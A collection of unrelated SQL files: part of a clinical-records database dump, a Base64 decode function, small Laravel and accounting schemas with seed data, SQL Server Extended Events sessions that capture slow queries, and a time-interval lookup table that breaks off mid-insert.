(1,'admin','','e168cde<PASSWORD>5e63c22e071aac1ccce868f4401674604d3e1d93de027275771d653d526b54093dcb1dba2ff1ee775662a64c23bd53c827b4b2033aa1825a3aa96c','26ecc09c586c141a0906e61c7c26bb99869693b8502948053b6b684b46ffc4ccf497b50e2cc0420c035a4b0905d5ddf27dba70eaa33e59edbe7b9c73e92e7f71',NULL,NULL,1,'2005-01-01 00:00:00',1,'2016-10-27 07:13:29',1,0,NULL,NULL,NULL,'9f2bb948-9c14-11e6-aeb3-0242ac110009'),(2,'daemon','daemon',NULL,NULL,NULL,NULL,1,'2010-04-26 13:25:00',NULL,NULL,1,0,NULL,NULL,NULL,'A4F30A1B-5EB9-11DF-A648-37A07F9C90FB'); /*!40000 ALTER TABLE `users` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for table `visit` -- DROP TABLE IF EXISTS `visit`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `visit` ( `visit_id` int(11) NOT NULL AUTO_INCREMENT, `patient_id` int(11) NOT NULL, `visit_type_id` int(11) NOT NULL, `date_started` datetime NOT NULL, `date_stopped` datetime DEFAULT NULL, `indication_concept_id` int(11) DEFAULT NULL, `location_id` int(11) DEFAULT NULL, `creator` int(11) NOT NULL, `date_created` datetime NOT NULL, `changed_by` int(11) DEFAULT NULL, `date_changed` datetime DEFAULT NULL, `voided` tinyint(1) NOT NULL DEFAULT '0', `voided_by` int(11) DEFAULT NULL, `date_voided` datetime DEFAULT NULL, `void_reason` varchar(255) DEFAULT NULL, `uuid` char(38) NOT NULL, PRIMARY KEY (`visit_id`), UNIQUE KEY `uuid` (`uuid`), KEY `visit_patient_index` (`patient_id`), KEY `visit_type_fk` (`visit_type_id`), KEY `visit_location_fk` (`location_id`), KEY `visit_creator_fk` (`creator`), KEY `visit_voided_by_fk` (`voided_by`), KEY `visit_changed_by_fk` (`changed_by`), KEY `visit_indication_concept_fk` (`indication_concept_id`), CONSTRAINT `visit_changed_by_fk` FOREIGN KEY (`changed_by`) REFERENCES `users` (`user_id`), CONSTRAINT `visit_creator_fk` FOREIGN KEY (`creator`) REFERENCES `users` (`user_id`), CONSTRAINT `visit_indication_concept_fk` FOREIGN KEY (`indication_concept_id`) REFERENCES `concept` (`concept_id`), CONSTRAINT `visit_location_fk` FOREIGN KEY (`location_id`) REFERENCES `location` (`location_id`), CONSTRAINT `visit_patient_fk` FOREIGN KEY (`patient_id`) REFERENCES `patient` (`patient_id`), CONSTRAINT `visit_type_fk` FOREIGN KEY (`visit_type_id`) REFERENCES `visit_type` (`visit_type_id`), CONSTRAINT `visit_voided_by_fk` FOREIGN KEY (`voided_by`) REFERENCES `users` (`user_id`) ) ENGINE=InnoDB DEFAULT CHARSET=latin1; /*!40101 SET character_set_client = @saved_cs_client */; -- -- Dumping data for table `visit` -- LOCK TABLES `visit` WRITE; /*!40000 ALTER TABLE `visit` DISABLE KEYS */; /*!40000 ALTER TABLE `visit` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for table `visit_attribute` -- DROP TABLE IF EXISTS `visit_attribute`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `visit_attribute` ( `visit_attribute_id` int(11) NOT NULL AUTO_INCREMENT, `visit_id` int(11) NOT NULL, `attribute_type_id` int(11) NOT NULL, `value_reference` text NOT NULL, `uuid` char(38) NOT NULL, `creator` int(11) NOT NULL, `date_created` datetime NOT NULL, `changed_by` int(11) DEFAULT NULL, `date_changed` datetime DEFAULT NULL, `voided` tinyint(1) NOT NULL DEFAULT '0', `voided_by` int(11) DEFAULT NULL, `date_voided` datetime DEFAULT NULL, `void_reason` varchar(255) DEFAULT NULL, PRIMARY KEY (`visit_attribute_id`), UNIQUE KEY `uuid` (`uuid`), KEY `visit_attribute_visit_fk` (`visit_id`), KEY `visit_attribute_attribute_type_id_fk` (`attribute_type_id`), KEY `visit_attribute_creator_fk` (`creator`), KEY `visit_attribute_changed_by_fk` (`changed_by`), KEY `visit_attribute_voided_by_fk` (`voided_by`), CONSTRAINT `visit_attribute_attribute_type_id_fk` FOREIGN KEY (`attribute_type_id`) REFERENCES `visit_attribute_type` (`visit_attribute_type_id`), CONSTRAINT `visit_attribute_changed_by_fk` FOREIGN KEY (`changed_by`) REFERENCES `users` (`user_id`), CONSTRAINT `visit_attribute_creator_fk` FOREIGN KEY (`creator`) REFERENCES `users` (`user_id`), CONSTRAINT `visit_attribute_visit_fk` FOREIGN KEY (`visit_id`) REFERENCES `visit` (`visit_id`), CONSTRAINT `visit_attribute_voided_by_fk` FOREIGN KEY (`voided_by`) REFERENCES `users` (`user_id`) ) ENGINE=InnoDB DEFAULT CHARSET=latin1; /*!40101 SET character_set_client = @saved_cs_client */; -- -- Dumping data for table `visit_attribute` -- LOCK TABLES `visit_attribute` WRITE; /*!40000 ALTER TABLE `visit_attribute` DISABLE KEYS */; /*!40000 ALTER TABLE `visit_attribute` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for table `visit_attribute_type` -- DROP TABLE IF EXISTS `visit_attribute_type`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `visit_attribute_type` ( `visit_attribute_type_id` int(11) NOT NULL AUTO_INCREMENT, `name` varchar(255) NOT NULL, `description` varchar(1024) DEFAULT NULL, `datatype` varchar(255) DEFAULT NULL, `datatype_config` text, `preferred_handler` varchar(255) DEFAULT NULL, `handler_config` text, `min_occurs` int(11) NOT NULL, `max_occurs` int(11) DEFAULT NULL, `creator` int(11) NOT NULL, `date_created` datetime NOT NULL, `changed_by` int(11) DEFAULT NULL, `date_changed` datetime DEFAULT NULL, `retired` tinyint(1) NOT NULL DEFAULT '0', `retired_by` int(11) DEFAULT NULL, `date_retired` datetime DEFAULT NULL, `retire_reason` varchar(255) DEFAULT NULL, `uuid` char(38) NOT NULL, PRIMARY KEY (`visit_attribute_type_id`), UNIQUE KEY `uuid` (`uuid`), KEY `visit_attribute_type_creator_fk` (`creator`), KEY `visit_attribute_type_changed_by_fk` (`changed_by`), KEY `visit_attribute_type_retired_by_fk` (`retired_by`), CONSTRAINT `visit_attribute_type_changed_by_fk` FOREIGN KEY (`changed_by`) REFERENCES `users` (`user_id`), CONSTRAINT `visit_attribute_type_creator_fk` FOREIGN KEY (`creator`) REFERENCES `users` (`user_id`), CONSTRAINT `visit_attribute_type_retired_by_fk` FOREIGN KEY (`retired_by`) REFERENCES `users` (`user_id`) ) ENGINE=InnoDB DEFAULT CHARSET=latin1; /*!40101 SET character_set_client = @saved_cs_client */; -- -- Dumping data for table `visit_attribute_type` -- LOCK TABLES `visit_attribute_type` WRITE; /*!40000 ALTER TABLE `visit_attribute_type` DISABLE KEYS */; /*!40000 ALTER TABLE `visit_attribute_type` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for table `visit_type` -- DROP TABLE IF EXISTS `visit_type`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `visit_type` ( `visit_type_id` int(11) NOT NULL AUTO_INCREMENT, `name` varchar(255) NOT NULL, `description` varchar(1024) DEFAULT NULL, `creator` int(11) NOT NULL, `date_created` datetime NOT NULL, `changed_by` int(11) DEFAULT NULL, `date_changed` datetime DEFAULT NULL, `retired` tinyint(1) NOT NULL DEFAULT '0', `retired_by` int(11) DEFAULT NULL, `date_retired` datetime DEFAULT NULL, `retire_reason` varchar(255) DEFAULT NULL, `uuid` char(38) NOT NULL, PRIMARY KEY (`visit_type_id`), UNIQUE KEY `uuid` (`uuid`), KEY `visit_type_creator` (`creator`), KEY `visit_type_changed_by` (`changed_by`), KEY `visit_type_retired_by` (`retired_by`), CONSTRAINT `visit_type_changed_by` FOREIGN KEY (`changed_by`) REFERENCES `users` (`user_id`), CONSTRAINT `visit_type_creator` FOREIGN KEY (`creator`) REFERENCES `users` (`user_id`), CONSTRAINT `visit_type_retired_by` FOREIGN KEY (`retired_by`) REFERENCES `users` (`user_id`) ) ENGINE=InnoDB DEFAULT CHARSET=latin1; /*!40101 SET character_set_client = @saved_cs_client */; -- -- Dumping data for table `visit_type` -- LOCK TABLES `visit_type` WRITE; /*!40000 ALTER TABLE `visit_type` DISABLE KEYS */; /*!40000 ALTER TABLE `visit_type` ENABLE KEYS */; UNLOCK TABLES; /*!40103 SET TIME_ZONE=@OLD_TIME_ZONE */; /*!40101 SET SQL_MODE=@OLD_SQL_MODE */; /*!40014 SET FOREIGN_KEY_CHECKS=@OLD_FOREIGN_KEY_CHECKS */; /*!40014 SET UNIQUE_CHECKS=@OLD_UNIQUE_CHECKS */; /*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */; /*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */; /*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */; /*!40111 SET SQL_NOTES=@OLD_SQL_NOTES */; -- Dump completed on 2016-10-27 7:15:59
<reponame>viswaratha12/dbwarden<filename>DMS5/DecodeBase64.sql<gh_stars>1-10 /****** Object: UserDefinedFunction [dbo].[DecodeBase64] ******/ SET ANSI_NULLS ON GO SET QUOTED_IDENTIFIER ON GO CREATE FUNCTION dbo.DecodeBase64 /**************************************************** ** ** Desc: ** Decodes the given text using base-64 encoding ** ** From http://stackoverflow.com/questions/5082345/base64-encoding-in-sql-server-2005-t-sql ** ** Auth: mem ** Date: 09/12/2013 ** *****************************************************/ ( @EncodedText varchar(max) ) RETURNS varchar(max) AS BEGIN Declare @DecodedText varchar(max) SELECT @DecodedText = CAST( CAST(N'' AS XML).value( 'xs:base64Binary(sql:column("bin"))' , 'VARBINARY(MAX)' ) AS VARCHAR(MAX) ) FROM ( SELECT CAST(@EncodedText AS VARCHAR(MAX)) AS bin ) AS ConvertQ; Return @DecodedText END GO GRANT VIEW DEFINITION ON [dbo].[DecodeBase64] TO [DDL_Viewer] AS [dbo] GO
<reponame>basked/basked.pr INSERT INTO basked_db.sk_test (id, name, descr, created_at, updated_at, id_bas) VALUES (1, '<?php use Illuminate\\Support\\Facades\\Schema; use Illuminate\\Database\\Schema\\Blueprint; use Illuminate\\Database\\Migrations\\Migration; class CreateSkTestTable extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::create(''sk_test'', function (Blueprint $table) { $table->bigIncrements(''id''); $table->text(''name''); $table->string(''descr''); $table->timestamps(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists(''sk_test''); } } ', 'file1.php1', null, '2020-06-17 10:32:22', 8); INSERT INTO basked_db.sk_test (id, name, descr, created_at, updated_at, id_bas) VALUES (2, '/** * First we will load all of this project''s JavaScript dependencies which * includes Vue and other libraries. It is a great starting point when * building robust, powerful web applications using Vue and Laravel. */ import ''bootstrap'' window.Vue = require(''vue''); const axios = require(''axios''); /** * The following block of code may be used to automatically register your * Vue components. It will recursively scan this directory for the Vue * components and automatically register them with their "basename". * * Eg. ./components/ExampleComponent.vue -> <example-component></example-component> */ Vue.component(''skill-menu'', require(''../components/SkillMenu.vue'').default); Vue.component(''skill-footer'', require(''../components/SkillFooter.vue'').default); Vue.component(''dev-grid-technology'', require(''../components/DevGridTechnology.vue'').default); Vue.component(''dev-grid-type'', require(''../components/DevGridType.vue'').default); Vue.component(''dev-grid-developer'', require(''../components/DevGridDeveloper.vue'').default); Vue.component(''dev-grid-roadmap'', require(''../components/DevGridRoadmap.vue'').default); Vue.component(''dev-grid-topic'', require(''../components/DevGridTopic.vue'').default); Vue.component(''dev-grid-topic-tabs'', require(''../components/DevGridTopicTabs.vue'').default); Vue.component(''dev-grid-topic-examples'', require(''../components/DevGridTopicExamples.vue'').default); Vue.component(''dev-grid-topic-links'', require(''../components/DevGridTopicLinks.vue'').default); Vue.component(''dev-tree-technology'', require(''../components/DevTreeTechnology.vue'').default); Vue.component(''block-code'', require(''../components/BlockCode.vue'').default); /** * Next, we will create a fresh Vue application instance and attach it to * the page. Then, you may begin adding components to this application * or customize the JavaScript scaffolding to fit your unique needs. */ const app = new Vue({ el: ''#app'', }); ', 'app.js', null, '2020-06-16 11:30:49', 1); INSERT INTO basked_db.sk_test (id, name, descr, created_at, updated_at, id_bas) VALUES (3, 'ASD7', 'ASD5', '2020-06-16 07:50:30', '2020-06-16 07:56:05', 1); INSERT INTO basked_db.sk_test (id, name, descr, created_at, updated_at, id_bas) VALUES (4, 'asdfgsdfg', '666', '2020-06-16 07:52:23', '2020-06-16 12:43:31', 18); INSERT INTO basked_db.sk_test (id, name, descr, created_at, updated_at, id_bas) VALUES (7, '234', '234', '2020-06-16 12:39:24', '2020-06-16 12:39:24', 5);
<filename>Database_Basics_MySQL_Retake_Exam_31_March_2020/Table_Design_01.sql<gh_stars>0 CREATE TABLE `addresses` ( `id` INT PRIMARY KEY AUTO_INCREMENT, `address` VARCHAR(30) NOT NULL, `town` VARCHAR(30) NOT NULL, `country` VARCHAR(30) NOT NULL, `user_id` INT NOT NULL ); CREATE TABLE `comments` ( `id` INT PRIMARY KEY AUTO_INCREMENT, `comment` VARCHAR(255) NOT NULL, `date` DATETIME NOT NULL, `photo_id` INT NOT NULL ); CREATE TABLE `users` ( `id` INT PRIMARY KEY, `username` VARCHAR(30) UNIQUE NOT NULL, `password` VARCHAR(30) NOT NULL, `email` VARCHAR(50) NOT NULL, `gender` CHAR(1) NOT NULL, `age` INT NOT NULL, `job_title` VARCHAR(40) NOT NULL, `ip` VARCHAR(30) NOT NULL ); CREATE TABLE `likes` ( `id` INT PRIMARY KEY AUTO_INCREMENT, `photo_id` INT, `user_id` INT ); CREATE TABLE `photos` ( `id` INT PRIMARY KEY AUTO_INCREMENT, `description` TEXT NOT NULL, `date` DATETIME NOT NULL, `views` INT NOT NULL DEFAULT 0 ); CREATE TABLE `users_photos` ( `user_id` INT NOT NULL, `photo_id` INT NOT NULL ); ALTER TABLE `addresses` ADD CONSTRAINT fk_users_addresses FOREIGN KEY (`user_id`) REFERENCES `users`(`id`); ALTER TABLE `comments` ADD CONSTRAINT fk_comments_photos FOREIGN KEY (`photo_id`) REFERENCES `photos`(`id`); ALTER TABLE `likes` ADD CONSTRAINT fk_likes_photos FOREIGN KEY (`photo_id`) REFERENCES `photos`(`id`); ALTER TABLE `likes` ADD CONSTRAINT fk_likes_users FOREIGN KEY (`user_id`) REFERENCES `users`(`id`); ALTER TABLE `users_photos` ADD CONSTRAINT fk_users_users FOREIGN KEY (`user_id`) REFERENCES `users`(`id`); ALTER TABLE `users_photos` ADD CONSTRAINT fk_photos_photos FOREIGN KEY (`photo_id`) REFERENCES `photos`(`id`);
/* It is assumed user is familiar with execution of PostgreSQL scripts using psql */ DROP TABLE accesstokens; DROP TABLE refreshtokens; DROP TABLE authclients; DROP TABLE authusers;
<gh_stars>0 SET @OLD_UNIQUE_CHECKS=@@UNIQUE_CHECKS, UNIQUE_CHECKS=0; SET @OLD_FOREIGN_KEY_CHECKS=@@FOREIGN_KEY_CHECKS, FOREIGN_KEY_CHECKS=0; SET @OLD_SQL_MODE=@@SQL_MODE, SQL_MODE='TRADITIONAL,ALLOW_INVALID_DATES'; -- ----------------------------------------------------- -- Schema contaumssg2 -- ----------------------------------------------------- DROP SCHEMA IF EXISTS `contaumssg2` ; CREATE SCHEMA IF NOT EXISTS `contaumssg2` DEFAULT CHARACTER SET latin1 ; USE `contaumssg2` ; -- ----------------------------------------------------- -- Table `contaumssg2`.`user` -- ----------------------------------------------------- DROP TABLE IF EXISTS `contaumssg2`.`user` ; CREATE TABLE IF NOT EXISTS `contaumssg2`.`user` ( `id` INT(10) NOT NULL AUTO_INCREMENT, `username` VARCHAR(45) NOT NULL, `password` VARCHAR(45) NOT NULL, PRIMARY KEY (`id`)); -- ----------------------------------------------------- -- Table `contaumssg2`.`accounts` -- ----------------------------------------------------- DROP TABLE IF EXISTS `contaumssg2`.`accounts` ; CREATE TABLE IF NOT EXISTS `contaumssg2`.`accounts` ( `id` INT(11) NOT NULL AUTO_INCREMENT, `name` VARCHAR(50) NOT NULL, PRIMARY KEY (`id`)) ENGINE = InnoDB; -- ----------------------------------------------------- -- Table `contaumssg2`.`transaction` -- ----------------------------------------------------- DROP TABLE IF EXISTS `contaumssg2`.`transaction` ; CREATE TABLE IF NOT EXISTS `contaumssg2`.`transaction` ( `idTransaction` BIGINT(20) UNSIGNED NOT NULL AUTO_INCREMENT, `date` DATE NOT NULL, `type` TEXT NOT NULL, `payrate` INT(11) NOT NULL, `accountId` INT(11) NOT NULL, PRIMARY KEY (`idTransaction`), INDEX `fk_transaction_accounts_idx` (`accountId` ASC), CONSTRAINT `fk_transaction_accounts` FOREIGN KEY (`accountId`) REFERENCES `contaumssg2`.`accounts` (`id`) ON DELETE NO ACTION ON UPDATE NO ACTION) ENGINE = InnoDB; SET SQL_MODE=@OLD_SQL_MODE; SET FOREIGN_KEY_CHECKS=@OLD_FOREIGN_KEY_CHECKS; SET UNIQUE_CHECKS=@OLD_UNIQUE_CHECKS; INSERT INTO `contaumssg2`.`user` (`username`, `password`) VALUES ('admin', '<PASSWORD>'); INSERT INTO `contaumssg2`.`user` (`username`, `password`) VALUES ('nicole', '<PASSWORD>'); INSERT INTO `contaumssg2`.`user` (`username`, `password`) VALUES ('maiko', '<PASSWORD>'); INSERT INTO `contaumssg2`.`user` (`username`, `password`) VALUES ('ruddy', '<PASSWORD>'); INSERT INTO `contaumssg2`.`user` (`username`, `password`) VALUES ('brandon', '<PASSWORD>'); INSERT INTO `contaumssg2`.`user` (`username`, `password`) VALUES ('diego', '<PASSWORD>'); INSERT INTO `contaumssg2`.`accounts` (`name`) VALUES ('Caja M/N'); INSERT INTO `contaumssg2`.`accounts` (`name`) VALUES ('Muebles y Enceres'); INSERT INTO `contaumssg2`.`accounts` (`name`) VALUES ('Documentos por pagar'); INSERT INTO `contaumssg2`.`accounts` (`name`) VALUES ('Capital'); INSERT INTO `contaumssg2`.`accounts` (`name`) VALUES ('Compras'); INSERT INTO `contaumssg2`.`accounts` (`name`) VALUES ('<NAME>'); INSERT INTO `contaumssg2`.`accounts` (`name`) VALUES ('<NAME> Salarios'); INSERT INTO `contaumssg2`.`accounts` (`name`) VALUES ('Consumo de luz'); INSERT INTO `contaumssg2`.`accounts` (`name`) VALUES ('Consumo de agua'); INSERT INTO `contaumssg2`.`accounts` (`name`) VALUES ('Consumo de telefono'); INSERT INTO `contaumssg2`.`transaction` (`date`, `type`, `payrate`, `accountId`) VALUES ('2016-01-01', 'DEBE', '4000', '1'); INSERT INTO `contaumssg2`.`transaction` (`date`, `type`, `payrate`, `accountId`) VALUES ('2016-01-01', 'DEBE', '2000', '2'); INSERT INTO `contaumssg2`.`transaction` (`date`, `type`, `payrate`, `accountId`) VALUES ('2016-01-01', 'HABER', '1000', '3'); INSERT INTO `contaumssg2`.`transaction` (`date`, `type`, `payrate`, `accountId`) VALUES ('2016-01-01', 'HABER', '5000', '4'); INSERT INTO `contaumssg2`.`transaction` (`date`, `type`, `payrate`, `accountId`) VALUES ('2016-01-03', 'DEBE', '800', '5'); INSERT INTO `contaumssg2`.`transaction` (`date`, `type`, `payrate`, `accountId`) VALUES ('2016-01-03', 'HABER', '400', '1'); INSERT INTO `contaumssg2`.`transaction` (`date`, `type`, `payrate`, `accountId`) VALUES ('2016-01-03', 'HABER', '400', '3'); INSERT INTO `contaumssg2`.`transaction` (`date`, `type`, `payrate`, `accountId`) VALUES ('2016-02-07', 'DEBE', '300', '2'); INSERT INTO `contaumssg2`.`transaction` (`date`, `type`, `payrate`, `accountId`) VALUES ('2016-02-07', 'HABER', '200', '1'); INSERT INTO `contaumssg2`.`transaction` (`date`, `type`, `payrate`, `accountId`) VALUES ('2016-02-07', 'HABER', '100', '3');
<reponame>imajaydwivedi/Problem-Task---SQL-Server-Slowness<gh_stars>0 CREATE EVENT SESSION [resource_consumption] ON SERVER ADD EVENT sqlserver.rpc_completed(SET collect_statement=(0) ACTION(sqlos.scheduler_id,sqlserver.client_app_name,sqlserver.client_hostname,sqlserver.client_pid,sqlserver.database_name,sqlserver.plan_handle,sqlserver.query_hash,sqlserver.query_plan_hash,sqlserver.server_principal_name,sqlserver.session_id,sqlserver.sql_text) WHERE ([package0].[not_equal_uint64]([sqlserver].[database_id],(32767)) AND [package0].[greater_than_uint64]([duration],(1000000)))), ADD EVENT sqlserver.sp_statement_completed( ACTION(sqlos.scheduler_id,sqlserver.client_app_name,sqlserver.client_hostname,sqlserver.client_pid,sqlserver.database_name,sqlserver.plan_handle,sqlserver.query_hash,sqlserver.query_plan_hash,sqlserver.server_principal_name,sqlserver.session_id,sqlserver.sql_text) WHERE ([sqlserver].[database_id]<>(32767) AND [duration]>(1000000))), ADD EVENT sqlserver.sql_batch_completed(SET collect_batch_text=(0) ACTION(sqlos.scheduler_id,sqlserver.client_app_name,sqlserver.client_hostname,sqlserver.client_pid,sqlserver.database_name,sqlserver.plan_handle,sqlserver.query_hash,sqlserver.query_plan_hash,sqlserver.server_principal_name,sqlserver.session_id,sqlserver.sql_text) WHERE ([package0].[not_equal_uint64]([sqlserver].[database_id],(32767)) AND [package0].[greater_than_uint64]([duration],(1000000)))) ADD TARGET package0.event_file(SET filename=N'D:\DataCollection\resource_consumption\',max_file_size=(2048)) WITH (MAX_MEMORY=4096 KB,EVENT_RETENTION_MODE=ALLOW_SINGLE_EVENT_LOSS,MAX_DISPATCH_LATENCY=30 SECONDS,MAX_EVENT_SIZE=0 KB,MEMORY_PARTITION_MODE=NONE,TRACK_CAUSALITY=ON,STARTUP_STATE=ON) GO CREATE EVENT SESSION [CaptureTimeoutQueries] ON SERVER ADD EVENT sqlserver.rpc_completed( ACTION(package0.collect_system_time,sqlserver.client_app_name,sqlserver.client_hostname,sqlserver.database_name,sqlserver.query_hash,sqlserver.request_id,sqlserver.session_id,sqlserver.sql_text) WHERE ([package0].[greater_than_uint64]([duration],(300000000)))), ADD EVENT sqlserver.sp_statement_completed(SET collect_statement=(1) ACTION(package0.collect_system_time,sqlserver.client_app_name,sqlserver.client_hostname,sqlserver.database_name,sqlserver.query_hash,sqlserver.request_id,sqlserver.session_id,sqlserver.sql_text) WHERE ([package0].[greater_than_int64]([duration],(300000000)))), ADD EVENT sqlserver.sql_batch_completed( ACTION(package0.collect_system_time,sqlserver.client_app_name,sqlserver.client_hostname,sqlserver.database_name,sqlserver.query_hash,sqlserver.request_id,sqlserver.session_id,sqlserver.sql_text) WHERE ([package0].[greater_than_uint64]([duration],(300000000)))), ADD EVENT sqlserver.sql_statement_completed( ACTION(package0.collect_system_time,sqlserver.client_app_name,sqlserver.client_hostname,sqlserver.database_name,sqlserver.query_hash,sqlserver.request_id,sqlserver.session_id,sqlserver.sql_text) WHERE ([package0].[greater_than_int64]([duration],(300000000)))) ADD TARGET package0.event_file(SET filename=N'D:\DataCollection\QueryTimeouts\TimedOutQueries.xel',max_file_size=(2048)) WITH (MAX_MEMORY=4096 KB,EVENT_RETENTION_MODE=ALLOW_SINGLE_EVENT_LOSS,MAX_DISPATCH_LATENCY=1 SECONDS,MAX_EVENT_SIZE=0 KB,MEMORY_PARTITION_MODE=NONE,TRACK_CAUSALITY=ON,STARTUP_STATE=ON) GO sqlserver.rpc_completed sqlserver.sp_statement_completed sqlserver.sql_batch_completed sqlserver.sql_statement_completed
<filename>03_a_time_interval.sql SET ANSI_NULLS ON GO SET QUOTED_IDENTIFIER ON GO CREATE TABLE [A_TIME_INTERVAL]( [interval_id] [smallint] NOT NULL, [time_start] [nvarchar](5) NOT NULL, [time_end] [nvarchar](5) NULL, [time_start_datetime] [datetime] NULL, [time_end_datetime] [datetime] NULL, [time_hour] [nvarchar](2) NULL, [time_hour_int] [tinyint] NULL, [time_halfhour] [nchar](5) NULL, [time_minute] [nvarchar](2) NULL, [time_minute_int] [tinyint] NULL, [time_start_sec] [nvarchar](10) NULL, [time_end_sec] [nvarchar](10) NULL, [period_30] [bit] NULL, [period_60] [bit] NULL, CONSTRAINT [PK_Dim_Time_Interval1] PRIMARY KEY CLUSTERED ( [interval_id] ASC )WITH (PAD_INDEX = OFF, STATISTICS_NORECOMPUTE = OFF, IGNORE_DUP_KEY = OFF, ALLOW_ROW_LOCKS = ON, ALLOW_PAGE_LOCKS = ON) ON [PRIMARY] ) ON [PRIMARY] GO INSERT [A_TIME_INTERVAL] ([interval_id], [time_start], [time_end], [time_start_datetime], [time_end_datetime], [time_hour], [time_hour_int], [time_halfhour], [time_minute], [time_minute_int], [time_start_sec], [time_end_sec], [period_30], [period_60]) VALUES (0, N'00:00', N'00:00', CAST(N'1899-12-30T00:00:00.000' AS DateTime), CAST(N'1899-12-30T00:14:59.000' AS DateTime), N'00', 0, N'00-29', N'00', 0, N'0:00:00', N'0:14:59', 1, 1) GO INSERT [A_TIME_INTERVAL] ([interval_id], [time_start], [time_end], [time_start_datetime], [time_end_datetime], [time_hour], [time_hour_int], [time_halfhour], [time_minute], [time_minute_int], [time_start_sec], [time_end_sec], [period_30], [period_60]) VALUES (1, N'00:15', N'00:15', CAST(N'1899-12-30T00:15:00.000' AS DateTime), CAST(N'1899-12-30T00:29:59.000' AS DateTime), N'00', 0, NULL, N'15', 15, N'0:15:00', N'0:29:59', 0, 0) GO INSERT [A_TIME_INTERVAL] ([interval_id], [time_start], [time_end], [time_start_datetime], [time_end_datetime], [time_hour], [time_hour_int], [time_halfhour], [time_minute], [time_minute_int], [time_start_sec], [time_end_sec], [period_30], [period_60]) VALUES (2, N'00:30', N'00:30', CAST(N'1899-12-30T00:30:00.000' AS DateTime), CAST(N'1899-12-30T00:44:59.000' AS DateTime), N'00', 0, N'30-59', N'30', 30, N'0:30:00', N'0:44:59', 1, 0) GO INSERT [A_TIME_INTERVAL] ([interval_id], [time_start], [time_end], [time_start_datetime], [time_end_datetime], [time_hour], [time_hour_int], [time_halfhour], [time_minute], [time_minute_int], [time_start_sec], [time_end_sec], [period_30], [period_60]) VALUES (3, N'00:45', N'00:45', CAST(N'1899-12-30T00:45:00.000' AS DateTime), CAST(N'1899-12-30T00:59:59.000' AS DateTime), N'00', 0, NULL, N'45', 45, N'0:45:00', N'0:59:59', 0, 0) GO INSERT [A_TIME_INTERVAL] ([interval_id], [time_start], [time_end], [time_start_datetime], [time_end_datetime], [time_hour], [time_hour_int], [time_halfhour], [time_minute], [time_minute_int], [time_start_sec], [time_end_sec], [period_30], [period_60]) VALUES (4, N'01:00', N'01:00', CAST(N'1899-12-30T01:00:00.000' AS DateTime), CAST(N'1899-12-30T01:14:59.000' AS DateTime), N'01', 1, N'00-29', N'00', 0, N'1:00:00', N'1:14:59', 1, 1) GO INSERT [A_TIME_INTERVAL] ([interval_id], [time_start], [time_end], [time_start_datetime], [time_end_datetime], [time_hour], [time_hour_int], [time_halfhour], [time_minute], [time_minute_int], [time_start_sec], [time_end_sec], [period_30], [period_60]) VALUES (5, N'01:15', N'01:15', CAST(N'1899-12-30T01:15:00.000' AS DateTime), CAST(N'1899-12-30T01:29:59.000' AS DateTime), N'01', 1, NULL, N'15', 15, N'1:15:00', N'1:29:59', 0, 0) GO INSERT [A_TIME_INTERVAL] ([interval_id], [time_start], [time_end], [time_start_datetime], [time_end_datetime], [time_hour], [time_hour_int], [time_halfhour], [time_minute], [time_minute_int], [time_start_sec], [time_end_sec], [period_30], [period_60]) VALUES (6, N'01:30', N'01:30', CAST(N'1899-12-30T01:30:00.000' AS DateTime), CAST(N'1899-12-30T01:44:59.000' AS DateTime), N'01', 1, N'30-59', N'30', 30, N'1:30:00', N'1:44:59', 1, 0) GO INSERT [A_TIME_INTERVAL] ([interval_id], [time_start], [time_end], [time_start_datetime], [time_end_datetime], [time_hour], [time_hour_int], [time_halfhour], [time_minute], [time_minute_int], [time_start_sec], [time_end_sec], [period_30], [period_60]) VALUES (7, N'01:45', N'01:45', CAST(N'1899-12-30T01:45:00.000' AS DateTime), CAST(N'1899-12-30T01:59:59.000' AS DateTime), N'01', 1, NULL, N'45', 45, N'1:45:00', N'1:59:59', 0, 0) GO INSERT [A_TIME_INTERVAL] ([interval_id], [time_start], [time_end], [time_start_datetime], [time_end_datetime], [time_hour], [time_hour_int], [time_halfhour], [time_minute], [time_minute_int], [time_start_sec], [time_end_sec], [period_30], [period_60]) VALUES (8, N'02:00', N'02:00', CAST(N'1899-12-30T02:00:00.000' AS DateTime), CAST(N'1899-12-30T02:14:59.000' AS DateTime), N'02', 2, N'00-29', N'00', 0, N'2:00:00', N'2:14:59', 1, 1) GO INSERT [A_TIME_INTERVAL] ([interval_id], [time_start], [time_end], [time_start_datetime], [time_end_datetime], [time_hour], [time_hour_int], [time_halfhour], [time_minute], [time_minute_int], [time_start_sec], [time_end_sec], [period_30], [period_60]) VALUES (9, N'02:15', N'02:15', CAST(N'1899-12-30T02:15:00.000' AS DateTime), CAST(N'1899-12-30T02:29:59.000' AS DateTime), N'02', 2, NULL, N'15', 15, N'2:15:00', N'2:29:59', 0, 0) GO INSERT [A_TIME_INTERVAL] ([interval_id], [time_start], [time_end], [time_start_datetime], [time_end_datetime], [time_hour], [time_hour_int], [time_halfhour], [time_minute], [time_minute_int], [time_start_sec], [time_end_sec], [period_30], [period_60]) VALUES (10, N'02:30', N'02:30', CAST(N'1899-12-30T02:30:00.000' AS DateTime), CAST(N'1899-12-30T02:44:59.000' AS DateTime), N'02', 2, N'30-59', N'30', 30, N'2:30:00', N'2:44:59', 1, 0) GO INSERT [A_TIME_INTERVAL] ([interval_id], [time_start], [time_end], [time_start_datetime], [time_end_datetime], [time_hour], [time_hour_int], [time_halfhour], [time_minute], [time_minute_int], [time_start_sec], [time_end_sec], [period_30], [period_60]) VALUES (11, 